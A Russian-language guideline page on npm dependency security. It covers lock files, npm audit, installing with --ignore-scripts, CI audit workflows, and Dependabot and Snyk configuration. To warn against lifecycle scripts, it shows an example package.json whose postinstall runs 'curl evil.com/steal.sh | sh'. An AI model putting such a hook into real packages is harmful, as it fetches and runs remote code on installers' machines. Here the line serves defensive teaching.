Перейти к основному содержимому

Безопасность зависимостей

Компрометация транзитивной зависимости может привести к внедрению вредоносного кода в финальный бандл.

Правила

MUST

MUST: Использование lock-файлов (package-lock.json, yarn.lock или pnpm-lock.yaml) обязательно

MUST: Lock-файлы должны быть в git-репозитории

MUST: Пакеты должны регулярно проверяться через npm audit (или аналоги)

MUST: Code Review должен включать проверку изменений в lock-файле

MUST: Настроить автоматические проверки уязвимостей в CI/CD

SHOULD

SHOULD: Использовать флаг --ignore-scripts при установке новых пакетов

SHOULD: Проявлять осторожность с preinstall и postinstall скриптами

SHOULD: Проверять новые пакеты перед добавлением (активность, размер, зависимости)

Фиксация версий

Lock-файлы

# ✅ MUST: Lock-файлы должны быть в git
git add package-lock.json # npm
git add yarn.lock # yarn
git add pnpm-lock.yaml # pnpm

# ❌ FORBIDDEN: Игнорирование lock-файлов
# .gitignore
package-lock.json # НЕ ДЕЛАЙТЕ ТАК!
yarn.lock # НЕ ДЕЛАЙТЕ ТАК!

Package.json конфигурация

{
"scripts": {
"preinstall": "npx only-allow pnpm",
"audit": "pnpm audit --audit-level=moderate",
"audit:fix": "pnpm audit --fix"
},
"engines": {
"node": ">=18.0.0",
"pnpm": ">=8.0.0"
}
}

Установка зависимостей

Правильный подход

# ✅ SHOULD: Установка с игнорированием скриптов
npm install some-package --ignore-scripts
pnpm add some-package --ignore-scripts
yarn add some-package --ignore-scripts

# ✅ MUST: Использование точных версий для критичных пакетов
npm install [email protected] --save-exact
pnpm add -E [email protected]

# ✅ Проверка пакета перед установкой
npm view some-package
npm view some-package versions
npm view some-package dist-tags

Проверка пакета

# ✅ SHOULD: Проверка пакета перед добавлением

# 1. Информация о пакете
npm info package-name

# 2. Количество загрузок (популярность)
npm info package-name downloads

# 3. Размер пакета
npm info package-name dist.unpackedSize

# 4. Зависимости
npm info package-name dependencies

# 5. Дата последнего релиза
npm info package-name time.modified

# 6. Репозиторий
npm info package-name repository.url

# 7. Лицензия
npm info package-name license

Аудит зависимостей

Базовые команды

# ✅ MUST: Регулярная проверка уязвимостей

# npm
npm audit
npm audit --audit-level=moderate # Только moderate и выше
npm audit fix # Автоисправление

# pnpm
pnpm audit
pnpm audit --audit-level=moderate
pnpm audit --fix

# yarn
yarn audit
yarn audit --level moderate

Автоматизация аудита

// package.json
{
"scripts": {
"postinstall": "npm audit --audit-level=high",
"precommit": "npm audit --audit-level=high",
"audit:check": "npm audit --audit-level=moderate --production"
}
}

CI/CD проверки

# .github/workflows/security.yml
name: Security Audit

on:
pull_request:
schedule:
- cron: '0 0 * * 0' # Еженедельно в воскресенье

jobs:
audit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3

- name: Setup Node.js
uses: actions/setup-node@v3
with:
node-version: '18'

- name: Install dependencies
run: npm ci --ignore-scripts

- name: Run security audit
run: npm audit --audit-level=moderate

- name: Check for known vulnerabilities
run: npx audit-ci --moderate
# Расширенная проверка с Snyk
name: Security Scan

on: [pull_request]

jobs:
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3

- name: Run Snyk to check for vulnerabilities
uses: snyk/actions/node@master
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
with:
args: --severity-threshold=high

Lifecycle Scripts

Опасные скрипты

// package.json некоторого пакета

{
"scripts": {
// ⚠️ Выполняется ПЕРЕД установкой
"preinstall": "node malicious.js",

// ⚠️ Выполняется ПОСЛЕ установки
"postinstall": "curl evil.com/steal.sh | sh"
}
}

Защита от опасных скриптов

# ✅ SHOULD: Отключение скриптов при установке
npm install --ignore-scripts
pnpm add --ignore-scripts

# ✅ Глобальное отключение скриптов (npm)
npm config set ignore-scripts true

# ✅ Проверка, какие скрипты выполняются
npm explore package-name -- cat package.json
// .npmrc
ignore-scripts=true

Code Review зависимостей

Чек-лист для ревьюера

При добавлении новой зависимости проверить:

  • Активность: Есть ли активная поддержка пакета?
  • Последний релиз: Когда был последний релиз? (не старше 1-2 лет для активных проектов)
  • Популярность: Сколько еженедельных загрузок? (минимум несколько тысяч)
  • Уязвимости: Есть ли известные уязвимости? (npm audit)
  • Lock-файл: Какие изменения в lock-файле?
  • Транзитивные зависимости: Какие зависимости добавляются?
  • Lifecycle scripts: Есть ли postinstall/preinstall скрипты?
  • Размер: Какой размер добавляется в бандл?
  • Лицензия: Совместима ли лицензия с проектом?
  • Альтернативы: Есть ли более безопасные/легкие альтернативы?

Инструменты для проверки

# ✅ Проверка размера в бандле
npx bundlephobia package-name

# ✅ Анализ зависимостей
npx depcheck # Находит неиспользуемые зависимости
npx npm-check-updates # Проверка обновлений

# ✅ Проверка лицензий
npx license-checker --summary

# ✅ Проверка на вредоносный код
npx socket security analyze package-name

Обновление зависимостей

Безопасное обновление

# ✅ MUST: Тестирование после обновления

# 1. Проверка доступных обновлений
npm outdated
pnpm outdated

# 2. Обновление с тестированием
npm update package-name
npm test # Запуск тестов после обновления

# 3. Проверка на критические изменения
npm audit
npm run build # Проверка, что сборка работает

# 4. Commit только после успешных тестов
git add package.json package-lock.json
git commit -m "chore: update package-name to version X.Y.Z"

Автоматизация обновлений

# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
open-pull-requests-limit: 5

# Автоматический merge только для patch обновлений
allow:
- dependency-type: "direct"
commit-message:
prefix: "chore"
include: "scope"

# Группировка обновлений
groups:
react:
patterns:
- "react*"
- "@types/react*"

Мониторинг зависимостей

GitHub Dependabot

# .github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "daily"

# Игнорирование определенных зависимостей
ignore:
- dependency-name: "package-to-ignore"
versions: ["1.x", "2.x"]

# Авто-merge для минорных обновлений
open-pull-requests-limit: 10

Snyk Integration

# .snyk
# Snyk (https://snyk.io) policy file

version: v1.25.0

ignore:
# Игнорирование известной уязвимости с обоснованием
'SNYK-JS-LODASH-590103':
- '*':
reason: 'Not exploitable in our usage'
expires: '2024-12-31T00:00:00.000Z'

Частые ошибки

# ❌ Ошибка 1: Удаление lock-файла
rm package-lock.json # НЕ ДЕЛАЙТЕ ТАК!

# ✅ Правильно: Коммитить lock-файл
git add package-lock.json

# ❌ Ошибка 2: Установка без проверки
npm install suspicious-package

# ✅ Правильно: Проверка перед установкой
npm info suspicious-package
npm view suspicious-package dist.unpackedSize
npm install suspicious-package --ignore-scripts

# ❌ Ошибка 3: Игнорирование npm audit warnings
npm audit # 5 moderate vulnerabilities found
# Игнорируем и продолжаем работу

# ✅ Правильно: Исправление уязвимостей
npm audit fix
# Если не помогло - обновление вручную или поиск альтернатив

Таблица рекомендаций

ДействиеКомандаЧастота
Аудит зависимостейnpm auditКаждый PR
Проверка обновленийnpm outdatedЕженедельно
Обновление зависимостейnpm updateЕжемесячно
Проверка неиспользуемых пакетовnpx depcheckЕжемесячно
Проверка размера бандлаnpx bundlephobiaПри добавлении новых пакетов
Проверка лицензийnpx license-checkerПри добавлении новых пакетов

📌 Ключевые моменты:

  • MUST: Lock-файлы обязательны и должны быть в репозитории
  • MUST: Регулярный аудит зависимостей (npm audit)
  • SHOULD: Установка с --ignore-scripts
  • MUST: Code Review изменений в lock-файле
  • MUST: Автоматические проверки в CI/CD
  • Проверка пакетов перед добавлением (активность, размер, лицензия)